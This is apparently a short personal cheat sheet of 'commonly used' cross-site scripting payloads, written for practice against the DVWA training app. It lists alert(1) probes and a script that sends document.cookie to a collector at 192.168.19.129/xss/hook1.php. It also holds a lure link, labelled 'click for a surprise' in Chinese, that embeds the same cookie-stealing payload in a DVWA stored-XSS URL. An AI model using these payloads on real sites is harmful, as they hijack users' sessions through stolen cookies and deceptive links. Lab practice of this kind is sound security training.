## 常用 ~~~ <script>alert(1)</script> javascript:alert(1); <script>window.location.href='http://192.168.19.129/xss/hook1.php?cookie='+document.cookie</script> <a href="127.0.0.1/web/dvwa.test/vulnerabilities/xss_s/?name=<script>window.location.href='http://192.168.19.129/xss/hook1.php?cookie='%2bdocument.cookie</script>#">点击有惊喜</a> ~~~